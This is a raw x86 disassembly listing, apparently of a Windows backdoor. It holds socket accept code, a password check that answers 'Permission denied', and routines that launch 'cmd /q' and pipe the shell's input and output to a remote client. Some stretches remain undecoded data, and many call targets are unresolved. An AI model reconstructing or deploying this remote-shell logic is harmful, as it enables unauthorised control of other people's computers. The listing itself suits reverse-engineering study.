lea eax, [ebp-4]
push eax
lea eax, [ebp-28h]
push eax
push dword ptr [ebp+8]
call dword_4453DC
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_40EC73
movzx eax, word ptr [ebp-26h]
push dword ptr [ebp-40h]
mov [ebp-14Ch], edi
mov [ebp-30h], esi
push eax
push dword ptr [ebp-24h]
call dword_4453D4
push eax
lea eax, [ebp-350h]
push offset dword_44128C
push eax
call sub_4171D0
push edi
lea eax, [ebp-350h]
push 18h
push eax
call sub_408E53
mov [ebp-3Ch], eax
imul eax, 234h
mov ecx, [ebp-40h]
add esp, 20h
mov dword_446214[eax], ecx
lea eax, [ebp-18h]
push eax
lea eax, [ebp-150h]
push esi
push eax
push offset loc_40ED54
push esi
push esi
nop
; ---------------------------------------------------------------------------
db 0E8h
dd 2291C0Bh, 69C44D8Bh, 234C9h, 89C63B00h, 44622481h, 39137400h
dd 850FD075h, 0FFFFFF63h, 0E890326Ah, 2281881h, 0E890EDEBh
dd 2281BCFh, 12D46850h, 0A0E80044h, 59000018h
; ---------------------------------------------------------------------------
pop ecx
jmp short loc_40ED32
; ---------------------------------------------------------------------------
loc_40ED2F: ; CODE XREF: ___:0040EC26j
; ___:0040EC5Aj ...
mov edi, [ebp+8]
loc_40ED32: ; CODE XREF: ___:0040ED2Dj
push edi
call dword_4453E0
push dword ptr [ebp+8]
call dword_4453E0
push dword ptr [ebp-40h]
call sub_40916F
pop ecx
push esi
nop
call near ptr 2700000h
pop edi
pop esi
loc_40ED54: ; DATA XREF: ___:0040ECE7o
push ebp
mov ebp, esp
mov eax, 1344h
call sub_417E20
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp-144h]
rep movsd
mov ebx, [ebp-30h]
push 1
pop ecx
mov [ebp-4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_4453C8
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+8], esi
jz loc_40EF0A
push 10h
lea eax, [ebp-18h]
push edi
push eax
call sub_417070
add esp, 0Ch
mov word ptr [ebp-18h], 2
push dword ptr [ebp-3Ch]
call dword_445348
mov [ebp-16h], ax
lea eax, [ebp-13Ch]
push eax
call dword_445388
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_40EDE4
lea eax, [ebp-13Ch]
push eax
call dword_4453CC
jmp short loc_40EDF2
; ---------------------------------------------------------------------------
loc_40EDE4: ; CODE XREF: ___:0040EDD3j
push 2
lea eax, [ebp-8]
push 4
push eax
call dword_445300
loc_40EDF2: ; CODE XREF: ___:0040EDE2j
cmp eax, edi
jz loc_40EF0A
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp-14h], eax
lea eax, [ebp-18h]
push eax
push esi
call dword_4452F0
cmp eax, 0FFFFFFFFh
jz loc_40EF0A
movzx eax, word ptr [ebp-16h]
push dword ptr [ebp-34h]
mov [ebp-20h], edi
push eax
push dword ptr [ebp-14h]
call dword_4453D4
push eax
lea eax, [ebp-344h]
push offset unk_441310
push eax
call sub_4171D0
push esi
lea eax, [ebp-344h]
push 18h
push eax
call sub_408E53
imul ebx, 234h
mov [ebp-30h], eax
imul eax, 234h
mov ecx, [ebp-34h]
lea esi, dword_44621C[ebx]
mov dword_446214[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_446220[eax], ecx
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-144h]
push edi
push eax
push offset loc_40EF3B
push edi
push edi
nop
call near ptr 26A08FFh
mov ecx, [ebp-30h]
imul ecx, 234h
cmp eax, edi
mov dword_446224[ecx], eax
jz short loc_40EEF7
loc_40EEA4: ; CODE XREF: ___:0040EEB1j
cmp [ebp-20h], edi
jnz short loc_40EEB3
push 32h
nop
call near ptr 2690599h
jmp short loc_40EEA4
; ---------------------------------------------------------------------------
loc_40EEB3: ; CODE XREF: ___:0040EEA7j
mov ebx, 1000h
loc_40EEB8: ; CODE XREF: ___:0040EEF3j
push ebx
lea eax, [ebp-1344h]
push edi
push eax
call sub_417070
add esp, 0Ch
lea eax, [ebp-1344h]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_445360
cmp eax, edi
jle short loc_40EF0A
push edi
push eax
lea eax, [ebp-1344h]
push eax
push dword ptr [ebp+8]
call dword_445398
cmp eax, 0FFFFFFFFh
jnz short loc_40EEB8
jmp short loc_40EF0A
; ---------------------------------------------------------------------------
loc_40EEF7: ; CODE XREF: ___:0040EEA2j
nop
call near ptr 26908EFh
push eax
push offset unk_441354
call sub_4105CB
pop ecx
pop ecx
loc_40EF0A: ; CODE XREF: ___:0040ED98j
; ___:0040EDF4j ...
mov eax, [ebp-4]
imul eax, 234h
push dword_44621C[eax]
call dword_4453E0
push dword ptr [ebp+8]
call dword_4453E0
push dword ptr [ebp-4]
call sub_40916F
pop ecx
push edi
call near ptr 2700000h
nop
pop edi
pop esi
pop ebx
loc_40EF3B: ; DATA XREF: ___:0040EE84o
push ebp
mov ebp, esp
mov eax, 1128h
call sub_417E20
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-128h]
rep movsd
mov esi, [ebp-14h]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_40EF72: ; CODE XREF: ___:0040EFB7j
push edi
lea eax, [ebp-1128h]
push 0
push eax
call sub_417070
add esp, 0Ch
lea eax, [ebp-1128h]
push 0
push edi
push eax
push dword_446220[esi]
call dword_445360
test eax, eax
jle short loc_40EFB9
push 0
push eax
lea eax, [ebp-1128h]
push eax
push dword_44621C[esi]
call dword_445398
cmp eax, 0FFFFFFFFh
jnz short loc_40EF72
loc_40EFB9: ; CODE XREF: ___:0040EF9Cj
push dword_446220[esi]
call dword_4453E0
push dword ptr [ebp-14h]
call sub_40916F
pop ecx
push 0
nop
; ---------------------------------------------------------------------------
db 0E8h, 2Ah, 10h
; ---------------------------------------------------------------------------
das
add bl, [edi+5Eh]
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 78h
mov esi, eax
pop ecx
lea edi, [ebp-3D4h]
push 1
mov dword ptr [ebp-0Ch], 1Eh
pop ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp-208h]
mov [ebp+8], eax
imul eax, 234h
lea esi, dword_44621C[eax]
xor edi, edi
mov [ebp-8], edi
mov [ebp-1F4h], ebx
mov eax, [esi]
mov [ebp-1F0h], eax
lea eax, [ebp-0Ch]
push eax
push edi
lea eax, [ebp-1F4h]
push edi
push eax
push edi
call dword_445330
test eax, eax
jnz short loc_40F05C
push dword ptr [esi]
call dword_4453E0
push dword ptr [ebp+8]
call sub_40916F
pop ecx
push edi
call near ptr 2700000h
nop
loc_40F05C: ; CODE XREF: ___:0040F042j
push edi
lea eax, [ebp-3Ch]
push ebx
push eax
push dword ptr [esi]
call dword_445360
lea eax, [ebp-2Ch]
push 10h
push eax
push dword ptr [esi]
call sub_40F1DD
lea eax, [ebp-4Ch]
push 10h
push eax
push dword ptr [esi]
call sub_40F1DD
lea eax, [ebp-0F0h]
push 40h
push eax
push dword ptr [esi]
call sub_40F1DD
add esp, 24h
lea eax, [ebp-4]
mov dword ptr [ebp-4], 10h
push eax
lea eax, [ebp-1Ch]
push eax
push dword ptr [esi]
call dword_44529C
test eax, eax
jz short loc_40F0D5
call dword_4452DC
push eax
push offset unk_441394
call sub_4105CB
push dword ptr [ebp+8]
call sub_40916F
add esp, 0Ch
push edi
nop
call near ptr 2700000h
loc_40F0D5: ; CODE XREF: ___:0040F0B0j
push 2
lea eax, [ebp-18h]
push 4
push eax
call dword_445300
cmp eax, edi
jnz short loc_40F0FF
push dword ptr [ebp-18h]
call dword_4453D4
push eax
lea eax, [ebp-0B0h]
push eax
call sub_4171D0
jmp short loc_40F10D
; ---------------------------------------------------------------------------
loc_40F0FF: ; CODE XREF: ___:0040F0E5j
push dword ptr [eax]
lea eax, [ebp-0B0h]
push eax
call sub_4184C0
loc_40F10D: ; CODE XREF: ___:0040F0FDj
pop ecx
pop ecx
push edi
push ebx
push offset dword_4D63C0
push dword ptr [esi]
call dword_445398
cmp dword_4D63B8, edi
jnz short loc_40F16F
push dword ptr [ebp-18h]
lea eax, [ebp-350h]
push eax
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
call sub_40F237
add esp, 10h
test eax, eax
jnz short loc_40F16F
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_445398
push dword ptr [esi]
call dword_4453E0
push dword ptr [ebp+8]
call sub_40916F
pop ecx
push edi
nop
call near ptr 2700000h
loc_40F16F: ; CODE XREF: ___:0040F124j
; ___:0040F145j
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset unk_4413D4
call sub_4105CB
push dword ptr [ebp+8]
call sub_40F4EE
add esp, 10h
test eax, eax
jnz short loc_40F1B6
nop
call near ptr 26908EFh
push eax
push offset unk_4413FC
call sub_4105CB
push dword ptr [ebp+8]
call sub_40916F
add esp, 0Ch
push ebx
call near ptr 2700000h
nop
loc_40F1B6: ; CODE XREF: ___:0040F191j
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset unk_441428
call sub_4105CB
push dword ptr [ebp+8]
call sub_40916F
add esp, 10h
push edi
nop
call near ptr 2700000h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F1DD proc near ; CODE XREF: ___:0040F072p
; ___:0040F07Fp ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_445360
cmp eax, 1
jnz short loc_40F22D
mov esi, [ebp+arg_4]
loc_40F1FB: ; CODE XREF: sub_40F1DD+41j
mov al, [ebp+var_1]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_40F222
test al, al
jz short loc_40F231
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_445360
cmp eax, 1
jz short loc_40F1FB
jmp short loc_40F22D
; ---------------------------------------------------------------------------
loc_40F222: ; CODE XREF: sub_40F1DD+27j
push offset unk_441454
call sub_4105CB
pop ecx
loc_40F22D: ; CODE XREF: sub_40F1DD+19j
; sub_40F1DD+43j
xor eax, eax
jmp short loc_40F234
; ---------------------------------------------------------------------------
loc_40F231: ; CODE XREF: sub_40F1DD+2Bj
push 1
pop eax
loc_40F234: ; CODE XREF: sub_40F1DD+52j
pop esi
leave
retn
sub_40F1DD endp
; =============== S U B R O U T I N E =======================================
sub_40F237 proc near ; CODE XREF: ___:0040F13Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
push [esp+4+arg_8]
call sub_417870
pop ecx
test eax, eax
pop ecx
jz short loc_40F262
push [esp+arg_4]
push [esp+4+arg_0]
push offset dword_441480
call sub_4105CB
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40F262: ; CODE XREF: sub_40F237+11j
push 1
pop eax
retn
sub_40F237 endp
; ---------------------------------------------------------------------------
word_40F266 dw 8B55h ; DATA XREF: sub_403038+382Co
dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah, 0ECBD8DF0h
dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
dd 2026850h, 15FF0000h, 4452B8h, 0C63BF633h, 68501D74h
dd 4414F0h, 131EE8h, 0B475FF00h, 0FF9EBAE8h, 0CC483FFh
dd 41E89057h, 57022F0Dh, 40F4E468h, 18D3E800h, 85900239h
dd 0E82975C0h, 228161Bh, 1C685090h, 0E8004415h, 12EBh
dd 15FF5959h, 4452A0h, 0E8B475FFh, 0FFFF9E7Fh, 0E8905759h
dd 22F0D08h, 8D106A53h, 5056E045h, 7D6BE8h, 0CC48300h
dd 0E045C766h, 75FF0002h, 4815FFB0h, 6A004453h, 26A5706h
dd 0E2458966h, 0FFE47589h, 4453C815h, 83D88B00h, 840FFFFBh
dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 44621C98h, 0E0458D00h
dd 15FF5350h, 445374h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh
dd 445370h, 850FC085h, 103h, 44156068h, 0F045C700h, 0Ch
dd 89F47589h, 0D4E8F875h, 59000011h, 8D087D89h, 45C7FC45h
dd 10FCh, 458D5000h, 0FF5350CCh, 4453DC15h, 83F88B00h
dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h
dd 44532815h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h
dd 0D075FF50h, 53D415FFh, 8D500044h, 0FFFBEC85h, 159C68FFh
dd 0E8500044h, 7DE8h, 0FBEC858Dh, 0E850FFFFh, 1163h, 0EC858D57h
dd 6AFFFFFBh, 50E85009h, 89FFFF9Ah, 0C069B845h, 234h, 83B44D8Bh
dd 888924C4h, 446214h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh
dd 40EFD868h, 0F0458D00h, 0CCE85056h, 90022914h, 69B84D8Bh
dd 234C9h, 89C63B00h, 44622481h, 39137400h, 850FC875h
dd 0FFFFFF37h, 42E8326Ah, 90022811h, 0E890EDEBh, 228148Fh
dd 15E06850h, 60E80044h, 59000011h, 8B03EB59h, 15FF087Dh
dd 4452DCh, 0EC858D50h, 68FFFFFBh, 44161Ch, 7D46E850h
dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh
dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 96E8FFFFh, 83FFFF1Fh
dd 858D14C4h, 0FFFFFBECh, 1099E850h, 57590000h, 53E015FFh
dd 0FF530044h, 4453E015h, 0A015FF00h, 0FF004452h, 94E8B475h
dd 59FFFF9Ch, 0B1EE856h, 5B90022Fh, 4439C033h, 940F0424h
db 0C0h, 0C3h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F4EE proc near ; CODE XREF: ___:0040F187p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_40F63F
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_44621C[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, dword_4DD2E0
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_40F811
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_40F559
nop
call near ptr 26908EFh
push eax
push offset unk_441654
call sub_4105CB
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
jmp short loc_40F593
; ---------------------------------------------------------------------------
loc_40F559: ; CODE XREF: sub_40F4EE+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_40F8C3
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_40F59A
nop
call near ptr 26908EFh
push eax
push offset unk_44169C
call sub_4105CB
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
nop
call near ptr 26D0BAFh
loc_40F593: ; CODE XREF: sub_40F4EE+69j
xor eax, eax
jmp loc_40F63A
; ---------------------------------------------------------------------------
loc_40F59A: ; CODE XREF: sub_40F4EE+82j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
call near ptr 27A0E62h
nop
sub eax, ebx
jz short loc_40F5F4
dec eax
jz short loc_40F5EE
dec eax
jz short loc_40F5DA
nop
call near ptr 26908EFh
push eax
push offset unk_4416E4
call sub_4105CB
pop ecx
pop ecx
jmp short loc_40F609
; ---------------------------------------------------------------------------
loc_40F5DA: ; CODE XREF: sub_40F4EE+D5j
mov edi, dword_4DD30C
push ebx
push dword ptr [esi+14h]
call edi
push ebx
push dword ptr [esi+10h]
call edi
jmp short loc_40F609
; ---------------------------------------------------------------------------
loc_40F5EE: ; CODE XREF: sub_40F4EE+D2j
push ebx
push dword ptr [esi+10h]
jmp short loc_40F5F8
; ---------------------------------------------------------------------------
loc_40F5F4: ; CODE XREF: sub_40F4EE+CFj
push ebx
push dword ptr [esi+14h]
loc_40F5F8: ; CODE XREF: sub_40F4EE+104j
nop
call near ptr 26D0BAFh
push 1
push dword ptr [esi+8]
nop
call near ptr 27308F4h
loc_40F609: ; CODE XREF: sub_40F4EE+EAj
; sub_40F4EE+FEj
push dword ptr [esi+10h]
mov edi, dword_4DD2BC
call edi
push dword ptr [esi+14h]
call edi
push dword ptr [esi+8]
call edi
push dword ptr [esi]
call edi
push dword ptr [esi+4]
call edi
push dword ptr [esi+0Ch]
call dword_4453E0
push esi
call sub_415820
pop ecx
push 1
pop eax
loc_40F63A: ; CODE XREF: sub_40F4EE+A7j
pop edi
pop esi
pop ebx
leave
retn
sub_40F4EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F63F proc near ; CODE XREF: sub_40F4EE+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_414DB0
mov esi, eax
pop ecx
cmp esi, edi
jz loc_40F729
mov ebx, dword_4DD348
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx
mov edi, dword_4DD2BC
test eax, eax
jnz short loc_40F6A2
nop
call near ptr 26908EFh
push eax
push offset unk_441718
jmp short loc_40F6C2
; ---------------------------------------------------------------------------
loc_40F6A2: ; CODE XREF: sub_40F63F+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx
test eax, eax
jnz short loc_40F6CA
call near ptr 26908EFh
nop
push eax
push offset unk_441758
loc_40F6C2: ; CODE XREF: sub_40F63F+61j
call sub_4105CB
pop ecx
jmp short loc_40F6F8
; ---------------------------------------------------------------------------
loc_40F6CA: ; CODE XREF: sub_40F63F+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_40F738
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi
push [ebp+var_8]
call edi
cmp dword ptr [esi+8], 0
jnz short loc_40F72D
push offset unk_441798
call sub_410557
loc_40F6F8: ; CODE XREF: sub_40F63F+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_40F704
push [ebp+var_4]
call edi
loc_40F704: ; CODE XREF: sub_40F63F+BEj
cmp [ebp+var_8], 0
jz short loc_40F70F
push [ebp+var_8]
call edi
loc_40F70F: ; CODE XREF: sub_40F63F+C9j
mov eax, [esi]
test eax, eax
jz short loc_40F718
push eax
call edi
loc_40F718: ; CODE XREF: sub_40F63F+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_40F722
push eax
call edi
loc_40F722: ; CODE XREF: sub_40F63F+DEj
push esi
call sub_415820
pop ecx
loc_40F729: ; CODE XREF: sub_40F63F+1Dj
xor eax, eax
jmp short loc_40F733
; ---------------------------------------------------------------------------
loc_40F72D: ; CODE XREF: sub_40F63F+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_40F733: ; CODE XREF: sub_40F63F+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_40F63F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F738 proc near ; CODE XREF: sub_40F63F+94p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_417070
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_417070
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, dword_4DD344
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi
push eax
push ebx
call edi
push eax
call near ptr 27309FCh
nop
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
nop
call near ptr 267039Fh
test eax, eax
jz short loc_40F7F4
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_446218[eax], ecx
nop
call near ptr 267009Bh
jmp short loc_40F80A
; ---------------------------------------------------------------------------
loc_40F7F4: ; CODE XREF: sub_40F738+9Aj
call near ptr 26908EFh
nop
push eax
push offset unk_4417C8
call sub_4105CB
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_40F80A: ; CODE XREF: sub_40F738+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_40F738 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F811 proc near ; DATA XREF: sub_40F4EE+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
mov ebx, dword_4DD338
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
loc_40F83A: ; CODE XREF: sub_40F811+8Fj
call ebx
test eax, eax
jz short loc_40F8A2
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_40F875
loc_40F84B: ; CODE XREF: sub_40F811+62j
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_40F865
cmp dl, 0Dh
jz short loc_40F865
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_40F865: ; CODE XREF: sub_40F811+44j
; sub_40F811+49j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_40F84B
loc_40F875: ; CODE XREF: sub_40F811+38j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_445398
test eax, eax
jle short loc_40F8A2
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
jmp short loc_40F83A
; ---------------------------------------------------------------------------
loc_40F8A2: ; CODE XREF: sub_40F811+2Dj
; sub_40F811+79j
mov esi, dword_4DD2D4
call esi
cmp eax, 6Dh
jz short loc_40F8BE
call esi
push eax
push offset dword_441800
call sub_4105CB
pop ecx
pop ecx
loc_40F8BE: ; CODE XREF: sub_40F811+9Cj
pop edi
pop esi
pop ebx
leave
retn
sub_40F811 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F8C3 proc near ; DATA XREF: sub_40F4EE+71o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
loc_40F8DC: ; CODE XREF: sub_40F8C3+39j
; sub_40F8C3+D7j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_445360
test eax, eax
jle loc_40F9E1
cmp [ebp+var_10], ebx
jbe short loc_40F8FE
dec [ebp+var_10]
jmp short loc_40F8DC
; ---------------------------------------------------------------------------
loc_40F8FE: ; CODE XREF: sub_40F8C3+34j
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_40F9C1
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_40F96E
cmp al, 7Fh
jz short loc_40F96E
cmp al, 3
jnz short loc_40F929
push ebx
push ebx
nop
call near ptr 27B0000h
jmp short loc_40F995
; ---------------------------------------------------------------------------
loc_40F929: ; CODE XREF: sub_40F8C3+5Aj
cmp al, 15h
jnz short loc_40F94B
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_40F981
; ---------------------------------------------------------------------------
loc_40F94B: ; CODE XREF: sub_40F8C3+68j
mov [ebp+esi+var_DC], al
inc esi
push 1
cmp al, 0Dh
mov [ebp+var_8], al
pop ecx
jnz short loc_40F982
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_40F981
; ---------------------------------------------------------------------------
loc_40F96E: ; CODE XREF: sub_40F8C3+52j
; sub_40F8C3+56j
cmp esi, ebx
jbe short loc_40F998
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_40F981: ; CODE XREF: sub_40F8C3+86j
; sub_40F8C3+A9j
pop ecx
loc_40F982: ; CODE XREF: sub_40F8C3+98j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_445398
test eax, eax
jle short loc_40F9E1
loc_40F995: ; CODE XREF: sub_40F8C3+64j
mov al, byte ptr [ebp+arg_0+3]
loc_40F998: ; CODE XREF: sub_40F8C3+ADj
cmp al, 0Dh
jnz loc_40F8DC
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
nop
call near ptr 2720000h
test eax, eax
jz short loc_40F9E1
xor esi, esi
jmp loc_40F8DC
; ---------------------------------------------------------------------------
loc_40F9C1: ; CODE XREF: sub_40F8C3+47j
cmp [ebp+var_C], ebx
jnz short loc_40F9D2
mov [ebp+var_C], 1
jmp loc_40F8DC
; ---------------------------------------------------------------------------
loc_40F9D2: ; CODE XREF: sub_40F8C3+101j
mov [ebp+var_10], 0Ah
mov [ebp+var_C], ebx
jmp loc_40F8DC
; ---------------------------------------------------------------------------
loc_40F9E1: ; CODE XREF: sub_40F8C3+2Bj
; sub_40F8C3+D0j ...
pop edi
pop esi
pop ebx
leave
retn
sub_40F8C3 endp
; ---------------------------------------------------------------------------
word_40F9E6 dw 8B55h ; DATA XREF: sub_403038+406Eo
dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h, 0BD8D5BF0h
dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh
dd 53000000h, 56EC458Dh, 7652E850h, 0C4830000h, 45C7660Ch
dd 0FF0002ECh, 15FFC075h, 445348h, 6A57066Ah, 45896602h
dd 0F07589EEh, 53C815FFh, 0F88B0044h, 69C4458Bh, 234C0h
dd 0B8895300h, 44621Ch, 50EC458Dh, 7415FF57h, 85004453h
dd 21850FC0h, 6A000001h, 15FF570Ah, 445370h, 850FC085h
dd 110h, 0FFC075FFh, 0FFFF2CB5h, 2BF7E8FFh, 5059FFFFh
dd 0FD2C858Dh, 3C68FFFFh, 50004418h, 7737E8h, 10C48300h
dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh, 0FF30858Dh
dd 0FF50FFFFh, 0FFFF2CB5h, 1987E8FFh, 0C483FFFFh, 2C858D14h
dd 50FFFFFDh, 0A8AE8h, 458D5900h, 458D50FCh, 0FF5750DCh
dd 4453DC15h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h
dd 0D415FFE0h, 50004453h, 0FD2C858Dh, 6468FFFFh, 50004418h
